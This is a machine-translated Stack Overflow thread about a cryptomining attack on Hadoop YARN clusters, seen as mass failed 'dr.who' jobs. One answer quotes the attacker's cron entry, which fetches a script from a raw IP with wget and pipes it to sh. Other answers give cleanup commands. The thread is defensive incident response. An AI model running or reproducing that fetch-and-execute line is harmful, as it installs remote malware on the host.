首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >YARN Dr.who应用程序尝试应用失败

YARN Dr.who应用程序尝试应用失败
EN

Stack Overflow用户
提问于 2018-05-26 02:28:05
回答 4查看 4.5K关注 0票数 4

我在我的hadoop集群中得到了这个错误消息。有人能给我解释一下原因吗?不知何故,更多的2000个职位申请被创建并无缘无故地失败了。

EN

回答 4

Stack Overflow用户

发布于 2018-06-07 00:04:51

这可能是个黑客..。有一个加密货币矿工创造了数千个这样的工作岗位。

检查每个节点上的cron作业是否有可疑的纱线并将其删除。

代码语言:javascript
运行
复制
    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查是否有像这样的"java“进程,并杀死它。

代码语言:javascript
运行
复制
/var/tmp/java -c /var/tmp/wc.conf

您还应该保护集群的所有传入端口,以防止这种情况再次发生。

有关更多信息,请参阅此内容。https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html

票数 4
EN

Stack Overflow用户

发布于 2018-07-17 22:27:50

编辑:我在这里添加了关于如何处理这个问题的小指南Google Cloud Dataproc Virus CrytalMiner (dr.who)

可能正在给你带来什么:

  • 黑客扫描每个打开的漏洞(IP地址+端口),并将它们存储到攻击表
  • 黑客扫描攻击表,并尝试找出您最近是否启动了群集
  • 当有漏洞的群集可用时,黑客会连接到它(所有内容都是开放的,并且已经发现了漏洞!)
  • 黑客连接到您的群集,删除所有内容(在我的情况下,脚本名为zz.sh,您可以在下面的BitBucket链接中找到它),然后下载挖掘应用程序
  • YARN认为工人正在失败,但我甚至不认为

应用程序正在运行。

我建议您尝试在错误日志中查找bitbucket/github地址。您还可以尝试查找get/wget/apt-get/curl命令。

我猜他现在很有钱了。

两件重要的事情:

未经公共授权即可检查您的安全组配置是否足够强大,并确保您的SSH密钥不是compromised.

相关:

票数 2
EN

Stack Overflow用户

发布于 2018-11-17 00:04:39

在谷歌云上,一个机器人攻击端口8088和一个启动了许多纱线应用程序。1.在谷歌云中,我添加了一个防火墙规则来阻止8088访问。2.终止yarn yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done中的所有应用程序。3.终止所有属于yarn的进程(上一步释放cpu,但之后您的网络将耗尽) ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done

现在使用控制台跟踪纱线;-)

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/50534973

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档